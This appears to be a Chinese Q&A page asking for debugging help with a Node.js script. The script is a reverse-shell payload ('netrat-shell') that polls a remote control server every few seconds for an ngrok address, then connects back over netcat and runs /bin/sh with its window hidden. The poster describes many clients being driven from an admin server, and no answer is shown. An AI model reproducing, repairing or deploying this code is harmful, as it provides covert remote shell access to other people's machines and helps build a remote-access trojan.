首页 > 解决方案 > Node.js 内存泄漏?我做错了什么还是包裹有问题?

问题描述

我试图让我的 netcat 客户端获取 ngrok url 以连接到从控制服务器/管理员推送的那个,我希望客户端获取 url 直到服务器实际将 url 推送到 url 显示服务器然后停止,因为我不想要如果可能,50000 个 netcat 连接想调整客户端在尝试再次获取 url 之前花费的时间。有没有办法只允许每个客户端最多一个连接?我试图让 netrat 的有效负载刮掉 ip 以连接到我构建的辅助 api,但我不确定如何让它每隔几秒刮一次 url,而它也不会启动新的连接。

起初,当我第一次运行此代码时,它运行良好,并且实际上连接到 netcat 服务器一次,然后像预期的那样退出,但在第一次之后,无论它在连接之前出现什么错误,即使我也尝试过使用require('events').EventEmitter.defaultMaxListeners = 1;发生了同样的事情,但出现了不同的错误

`MacBook-Pro:noderat (me)$ node '/Users/(me)/Desktop/noderat/builder/client/payload/netrat-shell.js'
(node:81799) MaxListenersExceededWarning: Possible EventEmitter memory leak detected. 2 SIGWINCH listeners added to [process]. Use emitter.setMaxListeners() to increase limit
(Use `node --trace-warnings ...` to show where the warning was created)
There was an issue running this application, please try running it again.
MacBook-Pro:noderat (me)$ node '/Users/(me)/Desktop/noderat/builder/client/payload/netrat-shell.js'
(node:81802) MaxListenersExceededWarning: Possible EventEmitter memory leak detected. 2 newListener listeners added to [TLSSocket]. Use emitter.setMaxListeners() to increase limit
(Use `node --trace-warnings ...` to show where the warning was created)
There was an issue running this application, please try running it again.`

第一个错误是我使用的第一个事件发射器限制器第二个错误是第二个事件发射器限制器

带有节点跟踪警告的继承人:

node --trace-warnings '/Users/(me)/Desktop/noderat/builder/client/payload/netrat-shell.js'
(node:82045) MaxListenersExceededWarning: Possible EventEmitter memory leak detected. 2 newListener listeners added to [TLSSocket]. Use emitter.setMaxListeners() to increase limit
    at _addListener (events.js:390:17)
    at TLSSocket.addListener (events.js:406:10)
    at TLSSocket.Readable.on (internal/streams/readable.js:858:35)
    at TLSSocket._init (_tls_wrap.js:716:10)
    at new TLSSocket (_tls_wrap.js:512:8)
    at Object.connect (_tls_wrap.js:1582:19)
    at Agent.createConnection (https.js:129:22)
    at Agent.createSocket (_http_agent.js:323:26)
    at Agent.addRequest (_http_agent.js:274:10)
    at new ClientRequest (_http_client.js:306:16)
There was an issue running this application, please try running it again.

require('events').EventEmitter.prototype._maxListeners = 1;
const NetcatClient = require('netcat').client
const fetch = require('node-fetch')

let fetching = setInterval(() => {
    fetch('https://cp8g7s13rgmie4szykd6ytmsbd1zujckrfjajiy4vyephv0bbfhfbiwaoolv.1337sec.repl.co/url')
    .then(res => res.text())
        .then(text => {


            CMD = 'macos' === 'win' ? 'cmd.exe' : '/bin/sh'
            RHOST = text.slice(6, 20)
            RPORT = parseInt(text.slice(21, 26))
            RETRY = 3
            console.log(RHOST)
            console.log(RPORT)
            nc.addr(RHOST).port(RPORT).retry(RETRY).connect().exec(CMD, [], {
                windowsHide: true
            })
        })
}, 3000)

process.on('warning', function(err) {
  if ('MaxListenersExceededWarning' == err.name) {
    clearInterval(fetching);
      console.log('There was an issue running this application, please try running it again.')
      process.exit(1)
  }
});

标签: javascriptnode.jsnetcat

解决方案


推荐阅读